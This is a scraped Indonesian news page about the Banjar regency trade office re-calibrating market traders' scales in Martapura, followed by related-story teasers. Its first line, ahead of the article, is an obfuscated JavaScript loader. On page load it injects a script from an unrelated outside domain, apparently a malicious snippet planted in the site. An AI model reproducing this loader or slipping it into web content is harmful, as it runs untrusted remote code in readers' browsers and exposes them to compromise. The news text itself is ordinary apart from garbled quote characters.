(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Dinas Perindustrian dan Perdagangan (Disperindag) Kabupaten Banjar lakukan tera ulang kepada pedagang di pasar ikan Martapura, Senin (17/6).
Tenaga ahli Disperindag Banjar, Titin Hartati mengatakan, kegiatan ini dilakukan dalam rangka pembentukan Pasar Tertib Ukur (PTU) dan mengantisipasi kecurangan berat timbangan yang dilakukan oleh pedagang pasar, sehingga dapat menimbulkan kerugian kepada konsumen atau pembeli.
“Dalam kegiatan tera ulang yang kita lakukan pada kali ini sudah ada 65 peserta, dan Alhamdulillah tidak ada didapati kecurangan yang dilakukan oleh para pedagang lewat timbangannya,†akunya.
Ditambahkan Titin dalam melakukan tera ulang tersebut, Disperindag Banjar menarik retribusi berdasarkan Perbup No 66 tahun 2017. Besaran retribusi tergantung jenis timbangan yang dtera ulang, seperti halnya jenis timbangan kelas III dan IV sebesar Rp 3.000 dan alat timbangan 1 set Rp 1.000, para pedagang hanya dikenakan Rp 4.000 per timbangannya.
Sementara dalam satu tahun pihaknya melakukan tera ulang satu kali dalam setiap timbangan. Adapun ketidak sesuaian timbangan yang biasanya didapati tidak sesuai dikarenakan beberapa faktor seperti halnya dicurangi, pemakaian, hingga karakteristik alat.
“Setiap timbangan ini wajib ditera ulang setiap tahunnya, pasti mengalami penyusutan timbangan, faktornya macam-macam karena kualitas timbangan, akibat banyaknya pemakaian yang terus menerus,†jelasnya.
Akhmad, salah seorang pedagang ikan di Pasar Martapura mengatakan, sangat mengapresiasi kepada pemerintah daerah karena sudah memberikan fasilitas tera ulang. Walaupun kegiatan ini dilakukan berbayar, namun dinilainya tidak terlalu membebani pedagang mengingat ongkos yang tidak begitu besar.
“Saya cuma dipungut Rp4.000 untuk timbangan saya, ini baru kali pertama timbangan saya ditera ulang tahun ini, dengan begini kita juga tidak merugi menimbang saat bertransaksi dengan pembeli. Selama ini saya juga tidak tahu bahwa timbangan saya menyusut 20 ons,†akunya. (rendy)ÂÂÂ
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.